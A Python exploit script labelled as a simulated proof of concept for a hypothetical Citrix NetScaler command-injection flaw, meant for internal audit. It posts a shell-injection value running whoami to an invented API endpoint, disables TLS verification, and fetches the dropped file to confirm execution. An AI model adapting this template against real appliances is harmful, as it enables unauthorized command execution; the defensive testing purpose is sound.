#!/usr/bin/env python3
"""
SIMULATED POC for Hypothetical CVE-2025-7775
Target: Citrix NetScaler ADC / Gateway
Purpose: Internal Audit & Defense Validation ONLY
"""
import requests
import sys
import urllib3
import json

# Disable SSL warnings (necessary for lab environments with self-signed certs)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_target(target_url):
    """
    Sends a simulated malicious payload to the hypothetical vulnerable endpoint.
    """
    headers = {
        'User-Agent': 'Citrix-NetScaler-IntScanner/1.0',
        'Content-Type': 'application/x-www-form-urlencoded',
        'X-NSCP-API': 'simulated_rce_vector' # Hypothetical header
    }

    # Hypothetical payload triggering command injection.
    # This mimics the structure of past exploits but does not contain real exploit code.
    payload = {
        'api_key': 'simulated_preauth',
        'command': '; echo "POC_SUCCESS_$(whoami)" > /var/tmp/poc_test.txt; #' # Hypothetical command injection
    }

    try:
        # Hypothetical vulnerable endpoint
        print(f"[*] Sending simulated malicious request to {target_url}/api/v1/configuration")
        response = requests.post(
            f"{target_url}/api/v1/configuration",
            data=payload,
            headers=headers,
            verify=False,  # Ignore SSL cert validation (for lab only!)
            timeout=10
        )

        print(f"[*] Response Status Code: {response.status_code}")
        print(f"[*] Response Text: {response.text[:500]}...")  # First 500 chars

        # Check if our simulated command might have executed
        # This would require a second request to verify, simulating the attacker
        check_response = requests.get(f"{target_url}/var/tmp/poc_test.txt", verify=False, timeout=5)
        if check_response.status_code == 200 and "POC_SUCCESS" in check_response.text:
            print("[!] SIMULATION SUCCESS: Hypothetical RCE condition verified.")
        else:
            print("[*] Simulation completed. No evidence of execution (expected in this simulation).")

    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: ./simulated_poc.py <https://target_netscaler_ip>")
        sys.exit(1)

    TARGET = sys.argv[1]
    print("*** Hypothetical Citrix ADC Zero-Day PoC Simulator ***")
    print("*** FOR INTERNAL LAB USE ONLY ***\n")
    exploit_target(TARGET)